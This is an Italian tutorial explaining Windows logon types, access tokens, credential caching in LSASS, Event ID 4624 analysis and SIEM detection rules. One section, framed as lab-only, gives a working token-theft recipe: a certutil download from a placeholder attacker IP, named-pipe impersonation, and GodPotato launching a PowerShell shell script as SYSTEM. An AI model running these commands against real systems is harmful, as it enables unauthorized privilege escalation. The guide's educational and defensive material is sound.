Logon Type Windows (Guida Completa per Principianti) #

Ogni volta che qualcuno o qualcosa si autentica su un computer Windows — un utente che digita la password, un servizio che parte, una connessione a una cartella condivisa — Windows registra come è avvenuto quell’accesso. Questo “come” si chiama logon type, ed è un numero che descrive il contesto della sessione, non i privilegi finali dell’utente. I permessi reali dipendono dal token di accesso generato in quel momento, che a sua volta dipende da più fattori (account, gruppi, policy, UAC, contesto del login). Capirlo è fondamentale sia per chi fa sicurezza offensiva sia per chi analizza i log per individuare un attacco.

Cos’è un logon type in parole semplici #

Immagina di entrare in un edificio. Puoi entrare dalla porta principale mostrando il documento (login fisico), puoi farti aprire da un citofono (accesso remoto), oppure puoi essere già dentro perché lavori lì (un servizio che parte in automatico). Sono tutti modi diversi di “entrare”, e ognuno ti dà accesso a stanze diverse dell’edificio.

Su Windows è lo stesso: stesso utente, ma modalità di accesso diverse possono dare permessi diversi. Questo perché ogni accesso genera un “pass” (si chiama token) che porta scritto sopra cosa quella sessione può fare.

Perché è importante #

Due scenari pratici:

Lato difesa: se vedi nei log un utente normale che fa un accesso di tipo “servizio” (Type 5) di notte, è sospetto — non è il suo comportamento normale.

Lato offensivo (in lab autorizzati, es. Hack The Box): se un account ha un privilegio potente sulla carta ma la tua shell non ce l’ha, spesso la causa è che sei entrato con un logon type “sbagliato” — e recuperare quel privilegio richiede tecniche specifiche.

I logon type principali, spiegati uno a uno #

Type 0 — System #

Non è un vero “login utente” — è una sessione non interattiva di sistema/kernel, usata internamente da Windows stesso (es. l’avvio del processo SYSTEM al boot). Non lo genera un umano né un attacco tipico: lo trovi nei log per completezza, raramente rilevante in un’analisi.

Type 1 — (obsoleto) #

Storicamente usato per il logon da workstation bloccata su sistemi pre-Vista (Windows 2000/XP/Server 2003). Non è mai stato documentato ufficialmente da Microsoft come gli altri type, ed è obsoleto: non lo trovi più nei log di sistemi moderni. Citato qui solo per completezza della lista.

Type 2 — Interactive #

Login fisico: qualcuno seduto davanti al computer, con tastiera e schermo. Esempio: accendi il PC in ufficio e inserisci la password.

Type 3 — Network #

Accesso a una risorsa condivisa in rete, senza aprire una sessione grafica. Esempio: quando apri \\server\cartella da un altro PC, o quando un tool come netexec si connette via SMB a un host.

Type 4 — Batch #

Generato da un’attività pianificata (Task Scheduler) che parte con un account salvato. Esempio: un backup automatico che gira ogni notte con un account di servizio.

Type 5 — Service #

Come parte un servizio Windows, con l’account configurato per farlo girare. Esempio: quando avvii SQL Server, Windows fa un login con l’account svc_sql assegnato a quel servizio — quell’evento è Type 5.

Type 7 — Unlock #

Sblocco di una sessione già bloccata (schermo lock). Esempio: torni alla scrivania, muovi il mouse, digiti la password per sbloccare.

Type 8 — NetworkCleartext #

Come il Type 3, ma con la password che viaggia in chiaro, non protetta. Esempio: un vecchio pannello web con autenticazione HTTP basic senza HTTPS. Altri casi comuni: WinRM con Basic Authentication su porta 5985 non cifrata, applicazioni ASP.NET con <authentication mode="Windows"> servite su HTTP invece di HTTPS, LDAP simple bind. Riconoscere questi protocolli come fonte di Type 8 è utile in detection engineering.

Type 9 — NewCredentials #

Usato con runas /netonly: resti loggato come te stesso in locale, ma per ogni connessione di rete usi credenziali diverse. Esempio: runas /netonly /user:dominio\altro_utente cmd.exe — la shell locale resta tua, ma ogni accesso a una share di rete userà l’altro account. Attenzione: se l’utente che lancia il comando è amministratore locale, quelle credenziali finiscono comunque in memoria gestite da LSASS per l’uso di rete — quindi restano recuperabili con Mimikatz, anche se non hanno mai verificato la password contro il DC.

Type 10 — RemoteInteractive #

Connessione via Desktop Remoto (RDP). Esempio: ti colleghi a un server con xfreerdp o il client RDP di Windows.

Type 11 — CachedInteractive #

Login con credenziali salvate in locale (cache), usato quando il Domain Controller non è raggiungibile. Esempio: sblocchi un laptop aziendale in aereo, senza connessione — Windows verifica la password contro l’ultima copia salvata localmente, non contro il server.

Type 12 — CachedRemoteInteractive #

Come il Type 11, ma per una connessione RDP quando il Domain Controller non è raggiungibile.

Type 13 — CachedUnlocked #

Sblocco di una sessione bloccata usando le credenziali in cache, invece di contattare il Domain Controller.

Tabella riassuntiva #

Logon Type e diritti utente (User Rights Assignment) #

Ogni logon type non è “libero” — richiede che l’account possieda un diritto specifico, assegnabile via Group Policy. Un SOC maturo non guarda solo il tipo, ma controlla se quell’account ha davvero il diritto di farlo:

Se vedi un Type 10 per un account senza SeRemoteInteractiveLogonRight assegnato, è un campanello d’allarme — magari un admin l’ha concesso al volo, ma va verificato, non dato per scontato.

Logon Type e credenziali in memoria (LSASS) #

Dettaglio importante sia offensivo che difensivo: non tutti i logon type lasciano credenziali riutilizzabili in memoria.

• Type 2, 10, 11 (interattivi/remote/cached): tipicamente lasciano credenziali (hash NTLM, a volte materiale Kerberos) in LSASS — recuperabili con Mimikatz se hai i privilegi giusti.
• Type 3 (network): da Windows Vista/Server 2008 in poi, non lascia credenziali riutilizzabili in LSASS — è uno dei motivi per cui un accesso SMB puro è meno “goloso” per un dump di credenziali rispetto a un RDP.

Questo distingue nettamente cosa vale la pena inseguire in un test autorizzato: un target raggiunto solo via Type 3 non ti darà credenziali fresche da LSASS, un Type 10/2 sì.

Sessione 0 e servizi isolati #

I servizi Windows (Type 5) girano nella Sessione 0, isolata dalle sessioni interattive degli utenti dal 2006 (Vista/Server 2008) per motivi di sicurezza — nessuna GUI, nessuna interazione diretta col desktop. È il motivo per cui un account di servizio, anche con privilegi molto alti, non può semplicemente “aprire una finestra”: serve tecniche come il furto di token (visto sopra) o l’abuso di un kernel bug per uscire da quell’isolamento e ottenere un contesto utilizzabile.

Sono due cose diverse e spesso si confondono:

• Logon Type = come entri (fisico, rete, servizio…).
• Kerberos / NTLM = come ti identifichi durante quell’accesso.

Esempi di combinazioni reali:

• Type 3 (Network) via SMB → spesso NTLM, ma anche Kerberos se il dominio lo supporta.
• Type 10 (RDP) → tipicamente Kerberos con delega del TGT.
• Type 8 (NetworkCleartext) → spesso NTLM in chiaro, o applicazioni legacy senza Kerberos.

Per approfondire il funzionamento di questi protocolli, vedi la guida su Kerberos e le tecniche di Pass-the-Hash.

Un concetto chiave: stesso utente, token diversi #

Un errore comune è pensare che i permessi dipendano solo dall’account. In realtà dipendono anche da come quell’account si è autenticato: alcuni logon type tendono a generare token con privilegi diversi in base al contesto (configurazione del servizio, policy locali, UAC). Lo stesso utente svc_sql può avere il privilegio SeImpersonatePrivilege attivo quando il servizio parte (Type 5), ma non averlo in una shell interattiva più limitata — perché su quella macchina è stata applicata una configurazione di sicurezza (hardening) che restringe i privilegi su certi tipi di accesso. Non è una regola matematica fissa: va sempre verificata caso per caso con whoami /priv e analisi del token.

Questo è il motivo per cui, in un penetration test autorizzato, capire il logon type della propria sessione è un passo fondamentale prima di provare tecniche di escalation dei privilegi.

Token: qualche concetto in più #

• Access token vs logon session: la logon session è la “sessione” creata al momento dell’autenticazione; l’access token è l’oggetto che porta i permessi effettivi legato a quella sessione.
• UAC split token: su un account amministratore con UAC attivo, Windows crea due token: uno filtrato (permessi normali, usato di default) e uno elevato (pieni permessi admin, usato solo dopo un prompt UAC). Per questo capita di essere “admin” ma non avere i permessi admin nella shell attuale. Eccezione importante: l’account Administrator integrato (RID 500) salta lo split token in un logon interattivo (Type 2/10) — ottiene direttamente il token pieno, senza prompt. Un utente normale nel gruppo Administrators, invece, riceve sempre il token filtrato e deve richiedere l’elevazione.
• Impersonation vs token primario: un token di impersonazione permette solo di “vestire i panni” di un altro utente temporaneamente; un token primario permette di avviare un processo intero con quell’identità. Approfondito nella guida su SeImpersonatePrivilege.

Recuperare un privilegio “mancante”: furto di token via named pipe #

Scenario da lab autorizzato (HTB, CTF, ambienti di test): sei entrato con una shell come account di servizio (svc_sql, un app pool IIS, ecc.), ma whoami /priv non mostra SeImpersonatePrivilege — anche se la policy dell’account lo prevede. Il motivo tipico è hardening: il logon type della tua shell è ristretto rispetto a quello con cui il servizio è partito originariamente.

Il servizio, quando è partito (Type 5), ha creato una sessione con il token completo — LSASS la conserva. Puoi recuperare quel token creando una pipe locale e sfruttando il fatto che il sistema, autenticandosi su un percorso locale, ci passa con il token del contesto attivo.

# Scarica e importa NtObjectManager (modulo PowerShell di James Forshaw, Project Zero)
certutil -f -urlcache -split http://IP_ATTACCANTE/NtObjectManager.zip
Expand-Archive -Path NtObjectManager.zip -DestinationPath .
Import-Module .\NtObjectManager.psm1

# Crea la pipe e mettila in ascolto
$path = New-NtNamedPipeFile \\.\pipe\nomeacaso -Win32Path
$job = Start-Job { $path.Listen() }

# Forza una connessione locale, che passa dal token del servizio
$file = Get-NtFile \\localhost\pipe\nomeacaso -Win32Path

# Impersona la pipe e prendi il token
$token = Use-NtObject($path.Impersonate()) { Get-NtToken -Impersonation }

# Verifica il privilegio recuperato
$token.Privileges

Se SeImpersonatePrivilege compare Enabled, il token è utilizzabile per lanciare un processo come SYSTEM tramite la famiglia di tool “Potato” (GodPotato, PrintSpoofer, SweetPotato — a seconda della versione Windows):

New-Win32Process -CommandLine 'GodPotato-NET4.exe -cmd "powershell -ExecutionPolicy Bypass -File shell.ps1"' -token $token

New-Win32Process è necessario perché il token catturato è di tipo Impersonation, non Primary: da una pipe non si ottiene mai un token primario direttamente (limite dell’API ImpersonateNamedPipeClient), quindi serve passarlo esplicitamente al processo invece di affidarsi al trigger automatico del tool.

Altri scenari dove questa tecnica torna utile #

Non solo MSSQL. Lo stesso principio si applica a qualsiasi account di servizio che gira con SeImpersonatePrivilege di default ma la cui shell attuale ce l’ha filtrato:

• IIS Application Pool (iis apppool\defaultapppool): webshell caricata su un’applicazione .NET vulnerabile — stesso privilegio, stesso pattern di recupero.
• BITS (Background Intelligent Transfer Service): account di servizio con lo stesso privilegio per design.
• Print Spooler: se attivo, spesso permette di saltare del tutto il passaggio pipe manuale — tool come PrintSpoofer sfruttano direttamente il servizio spooler come “trigger” della connessione privilegiata.
• Qualsiasi servizio custom registrato con LOGON32_LOGON_SERVICE che non è stato sottoposto a hardening esplicito del token.

In generale: appena vedi una shell come account che sembra un servizio (nome tipo svc_, nt service\, iis apppool\) ma whoami /priv non mostra i privilegi che ti aspetteresti, vale la pena verificare se è un problema di logon type prima di escludere la strada.

Come vedere il tuo logon type attuale #

whoami /priv

Questo comando non mostra il logon type, ma i privilegi del token. Puoi dedurlo indirettamente: se vedi SeImpersonatePrivilege abilitato, è probabile un Type 5. Per vedere il logon type reale, usa invece:

logonsessions.exe -p

Tool di Sysinternals: mostra direttamente le sessioni di logon attive, il tipo con nome testuale (non solo il numero), l’authentication package e i processi collegati. Più immediato di leggere i log a mano.

In alternativa, via log — ma questa via richiede permessi di lettura sul Security Log (admin o diritto delegato, non disponibile a un utente base):

Get-WinEvent -FilterHashtable @{LogName='Security'; Id=4624} -MaxEvents 5 |
  Select-Object -ExpandProperty Message

Per un’analisi più dettagliata sui log, l’Event ID 4624 di Windows registra ogni logon riuscito, incluso il campo Logon Type con il numero esatto. Esempio reale di come appare un evento nel Event Viewer:

Event ID: 4624
Logon Type: 3
Account Name: user1
Workstation Name: PC-01
Authentication Package: NTLM
Logon Process: NtLmSsp

Da questo evento capisci subito: accesso di rete (Type 3), autenticato con NTLM, dalla postazione PC-01.

Logon ID: il collante tra eventi diversi #

Ogni logon riuscito riceve un identificativo unico, il Logon ID (un LUID, es. 0x123456). Serve a collegare eventi diversi che appartengono alla stessa sessione: se un 4624 (logon), un 4672 (privilegi speciali assegnati) e un 4634 (logoff) condividono lo stesso Logon ID, sai per certo che si tratta della stessa sessione dall’inizio alla fine — anche a distanza di ore. Senza questo campo, correlare eventi diversi nello stesso audit diventerebbe una supposizione, non una certezza.

Logon Process e Authentication Package #

Due campi spesso confusi con il Logon Type stesso:

• Logon Process: il componente software che ha gestito il login (Winlogon, NtLmSsp, Kerberos, Advapi, Seclogo). Dice chi ha processato la richiesta a livello di sistema.
• Authentication Package: il protocollo effettivo usato (NTLM, Kerberos, Negotiate). Utile per distinguere un login moderno (Kerberos) da uno legacy o degradato (NTLM) — un downgrade a NTLM su un dominio che dovrebbe usare Kerberos è spesso un segnale di NTLM relay in corso.

Esempio completo di evento 4624, con tutti i campi utili in un audit reale (host di esempio hackita-srv01):

Event ID: 4624
Subject:
  Security ID: SYSTEM
New Logon:
  Security ID: hackita\svc_sql
  Logon ID: 0x123456
Logon Type: 3
Process Information:
  Logon Process: NtLmSsp
  Authentication Package: NTLM
Network Information:
  Workstation Name: HACKITA-SRV01
  Source Network Address: 192.168.1.10

Che traffico genera davvero ogni logon type #

Utile per un’analisi di rete, oltre che dei soli log:

• Type 3 → tipicamente porta 445 (SMB), 389 (LDAP), o RPC dinamico.
• Type 5 → nessun traffico di rete diretto, è locale al servizio che parte.
• Type 8 → HTTP con Basic Auth, spesso porta 80 senza TLS.
• Type 10 → porta 3389 (RDP).

Questo mapping aiuta a incrociare log applicativi con cattura di traffico (es. Wireshark) durante un’analisi.

Falsi positivi da considerare #

Un logon type sospetto non è sempre un attacco. Esempi comuni:

• Type 3 massivo può essere un tool di inventario di rete, un antivirus centralizzato che scansiona host, o un sistema di backup — non solo lateral movement.
• Type 10 da un IP inatteso può essere un tecnico helpdesk che si collega da un jump server condiviso, non necessariamente un account compromesso.

Prima di alzare un allarme, va sempre verificato il contesto (orario, applicazione sorgente, pattern storico dell’account) — non basta il numero del logon type da solo.

Eventi correlati da controllare insieme #

Il logon type da solo racconta solo metà della storia. In un’analisi reale si guardano insieme più Event ID:

Vedere un 4624 Type 10 seguito subito da un 4672 (privilegi elevati) su un account che di solito non li ha, per esempio, è un pattern molto più significativo del solo logon type isolato.

Impatto pratico per logon type #

Riassunto veloce di cosa comporta ciascun tipo, in ottica di test autorizzato:

• Type 3 (SMB enumeration): non crea una sessione interattiva — utile solo per enumerare risorse, non per eseguire comandi.
• Type 10 (RDP): sessione completa e interattiva — spesso il punto in cui recuperi un token pieno se prima avevi solo accesso di rete.
• Type 5 (account di servizio): bersaglio frequente per escalation dei privilegi, perché spesso porta privilegi come SeImpersonatePrivilege di default.
• Type 11 (cached logon): rilevante in scenari offline, es. analisi di un laptop rubato o non connesso al dominio.

Errori comuni #

• Confondere Logon Type con Logon Process: il primo è il tipo di accesso (numero), il secondo è il componente software che lo ha gestito (es. NtLmSsp, Kerberos, Advapi) — sono due campi diversi nello stesso evento.
• Pensare che Type 3 dia “accesso completo”: dà solo accesso alla risorsa richiesta, non una sessione interattiva.
• Ignorare i cached logon (11): in un’indagine su un dispositivo offline è spesso l’unico tipo rilevante.
• Sottovalutare il Type 8: password in chiaro sulla rete è un rischio concreto, non solo un dettaglio da manuale.

Come viene abusato in un attacco reale (contesto CTF/lab autorizzato) #

Tre scenari tipici, utili per riconoscere il pattern durante un penetration test autorizzato:

Scenario 1 — SMB lateral movement (Type 3) Un attaccante con credenziali rubate (via NTLM relay o dump) le usa per accedere a più host via SMB. Ogni tentativo genera un logon Type 3, senza mai aprire una sessione interattiva — solo enumerazione e accesso a risorse condivise.

Scenario 2 — RDP escalation path (Type 10) Dopo un accesso iniziale a basso privilegio, l’attaccante ottiene credenziali più forti e si collega via RDP (Type 10) per una sessione interattiva completa — spesso il passaggio da “vedo la rete” a “controllo la macchina”.

Scenario 3 — Service account abuse (Type 5) Un account di servizio mal configurato (Type 5) porta privilegi come SeImpersonatePrivilege o SeAssignPrimaryTokenPrivilege di default. Se il token non è stato ristretto, è spesso il punto di partenza per tecniche di privilege escalation locale.

Pattern sospetti nei log #

Cosa guarda tipicamente un SOC/Blue Team:

• Stesso account con Type 3 su decine di host in pochi minuti → possibile lateral movement o validazione credenziali su larga scala.
• Account di servizio con Type 2 o Type 10 → comportamento anomalo, i service account non dovrebbero fare login interattivo.
• Tanti Type 8 → autenticazione legacy insicura, da correggere a prescindere da un attacco in corso.
• Type 11 (cached) da un dispositivo mai visto prima → possibile riuso di password rubate o attacco offline sull’hash cache.

Flow mentale: dall’autenticazione all’accesso reale #

Login → Logon Type → Token → Privilegi effettivi → Cosa puoi davvero fare

Tre distinzioni da tenere sempre a mente:

• Authentication ≠ Access: autenticarti non significa automaticamente avere accesso a tutto.
• Logon Type ≠ Protocollo: il come entri (Type) è diverso dal come ti identifichi (Kerberos/NTLM).
• Token = la realtà dei permessi: alla fine conta solo cosa c’è scritto nel token, non l’account in sé.

Limiti dei Logon Type #

I logon type non raccontano tutta la storia. Alcuni limiti da tenere presente:

• Un Type 3 non mostra cosa viene eseguito dopo l’accesso — solo che l’accesso è avvenuto.
• Molti attacchi non generano eventi evidenti oltre il 4624 stesso.
• Un NTLM relay può produrre un logon che appare del tutto legittimo nei log.
• Un accesso RDP mediato da un gateway/jump host può essere mascherato o mostrare l’IP del gateway invece di quello reale.

Per questo il logon type va sempre correlato con altri eventi (creazione processi, ticket Kerberos, 4672, 4648) — mai letto da solo come prova definitiva.

Detection & Difesa #

Chi monitora una rete guarda soprattutto a combinazioni anomale tra account e logon type:

• Un account di servizio che fa un Type 2 o Type 10 (login interattivo/RDP) quando dovrebbe usare solo Type 5 è un segnale d’allarme.
• Tanti Type 8 (password in chiaro) nei log indicano applicazioni configurate male, da correggere.
• Type 3 ripetuti dello stesso account su decine di host in poco tempo può indicare un tentativo di validazione credenziali su larga scala.

Difesa pratica: con un SIEM, creare regole che segnalano combinazioni account/logon type fuori dal comportamento normale, e limitare quali account possono usare quali tipi di logon tramite Group Policy (Deny log on locally, Deny log on through Remote Desktop Services, ecc.).

Nota per ambienti moderni (Azure AD / hybrid) #

Su reti ibride con Azure AD/Entra ID i logon type classici restano validi per l’autenticazione locale/on-prem, ma diventano meno affidabili da soli come unico segnale: Conditional Access, il Web Account Manager (WAM) e i flussi di autenticazione cloud introducono pattern di login che non sempre mappano in modo pulito ai 14 tipi tradizionali. In un ambiente hybrid conviene correlare i log locali (Event ID 4624) con i sign-in log di Azure AD, non fidarsi del solo logon type Windows.

Un’altra evoluzione da conoscere: con Windows Hello for Business (PIN o biometria), un login fisico continua a generare Type 2 come sempre, ma il meccanismo sotto non è più una password — è autenticazione a chiave asimmetrica. Il numero del logon type non cambia, ma il modo in cui viene verificata l’identità sì, ed è importante saperlo se si analizzano ambienti moderni.

Esempio di query SIEM (sintassi tipo Splunk) #

Rilevare un possibile lateral movement via Type 3 su molti host:

EventCode=4624 LogonType=3
| stats count dc(Workstation_Name) as host_count by Account_Name
| where host_count > 20

Rilevare RDP da account inatteso:

EventCode=4624 LogonType=10
| where Account_Name != "admin_atteso"

MITRE ATT&CK: T1078 (Valid Accounts) copre l’abuso di credenziali legittime attraverso diversi logon type. Correlati: T1021 (Remote Services, per Type 10/RDP e Type 3/SMB), T1003 (Credential Dumping, spesso il passo precedente a un logon con credenziali rubate), T1550 (Use Alternate Authentication Material, per Pass-the-Hash e Pass-the-Ticket che generano logon apparentemente normali).

Quick Mental Model #

Per ricordarli al volo senza studiarli a memoria:

Domande Frequenti #

I logon type sono sempre uguali per lo stesso account? No. Lo stesso account può ottenere token diversi a seconda del logon type usato — dipende dalla configurazione della macchina, non è una regola fissa.

Dove vedo il logon type nei log di Windows? Nell’Event Viewer, Event ID 4624 (logon riuscito) o 4625 (fallito), campo “Logon Type”.

Qual è il logon type più comune in un attacco di rete? Type 3 (Network), perché è quello generato da quasi tutti gli strumenti di enumerazione/accesso SMB, LDAP, RPC.

Serve conoscerli tutti a memoria? No. I più importanti da riconoscere sul campo sono 2, 3, 4, 5, 9, 10, 11 — gli altri (7, 8, 12, 13) sono varianti meno frequenti ma utili da sapere per completezza.

Che differenza c’è tra Logon Type 3 e Logon Type 10? Type 3 è solo accesso a una risorsa di rete (niente sessione grafica); Type 10 è una sessione desktop remota completa e interattiva — molto più “potente” in termini di cosa puoi fare una volta dentro.

Cosa vuol dire Logon Type nell’Event ID 4624? È il campo che indica con quale modalità è avvenuto quel login specifico — il numero (0-13) si legge in questa guida.

Riferimenti #

Microsoft Learn — Audit Logon Events — documentazione ufficiale sull’Event ID 4624 e i logon type